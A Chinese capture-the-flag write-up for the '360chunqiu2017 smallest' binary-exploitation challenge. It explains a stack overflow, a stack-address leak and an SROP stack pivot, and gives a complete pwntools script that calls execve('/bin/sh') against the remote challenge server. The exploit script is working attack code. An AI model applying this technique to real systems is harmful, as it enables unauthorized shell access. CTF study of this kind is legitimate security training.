360chunqiu2017_smallest
查看保护
程序只给了这一点点东西,read(0, rsp, 0x400)
这里的read肯定是有栈溢出的,从rsp这里读所以输入第一个数据的时候就会破坏结构发生错误
攻击思路:想办法去控制rax,因为控制了rax我们就可以调用一些系统调用,例如:sigretrun和write。rax被read所控制(字符的个数),所以我们可以通过sys_read来输入多少个数据就可以设置rax为多少。利用这个特性我们就可以实现栈迁移和getshell的操作。
1.这里笔者使用的是srop攻击,运用sigretrun机制来使得rdi,rsi等值可以被我们控制。
2.首先可以借助wirte来输出栈地址以便我们后续进行写入bin/sh和栈迁移的操作
p1 = p64(main_addr) * 3
r.send(p1)
r.send('\xb3')
r.send(‘\xb3’)是为了让rax = 1,并使得第二次程序从4000b3这里开始执行,因我们需要绕过xor rax, rax来执行write(1, rsp, 0x400)
3.拿到stack_addr。拿哪个地址?这里笔者在本地可以是0x8 - 0x10,打远程的时候打不通,然后笔者试了很多发现0x188 - 0x190可以
4.布置sigframe,再设置一次read,并劫持栈指针到stack_addr处实现栈迁移
5.想要执行sigreturn rax需要为15,所以我们发送15个数据让rax被设置为15
6.完成栈迁移之后我们就可以布置execve并输入bin/sh来getshell。
注意:这里笔者srop写得很简略,想要彻底了解srop可以去看看srop原理(看看其他师傅的博客),还可以使用其他攻击方式比如说利用修改权限的函数将一块地方改成可读写执行,然后放入shellcode并跳转执行shellcode。
from pwn import *
from time import *context(arch='amd64', os='linux', log_level='debug')file_name = './z1r0'li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')debug = 1
if debug:r = remote('node4.buuoj.cn', 26520)
else:r = process(file_name)elf = ELF(file_name)def dbg():gdb.attach(r, 'b *0x4000C0')main_addr = 0x4000B0
mov_edx_400 = 0x4000B0p1 = p64(main_addr) * 3
r.send(p1)
r.send('\xb3')#stack_addr = u64(r.recv()[0x8:0x10])
stack_addr = u64(r.recv()[0x188:0x190])
li('[+] stack_addr = ' + hex(stack_addr))# sys_read
syscall = 0x4000BE
sigframe = SigreturnFrame()
sigframe.rax = 0
sigframe.rdi = 0
sigframe.rdx = 0x400
sigframe.rsi = stack_addr
sigframe.rsp = stack_addr
sigframe.rip = syscallp2 = p64(main_addr) + p64(0) + bytes(sigframe)
r.send(p2)# set rax = 15
p3 = p64(syscall) + b'a'*7
r.send(p3)
sleep(1)# sys_execve
sigframe = SigreturnFrame()
sigframe.rax = 59
sigframe.rsp = stack_addr
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rdi = stack_addr + 0x200
sigframe.rip = syscall
p4 = (p64(main_addr) + p64(0) + bytes(sigframe)).ljust(0x200, b'a') + b"/bin/sh\x00"r.send(p4)
sleep(1) # set rax = 15
r.send(p3)r.interactive()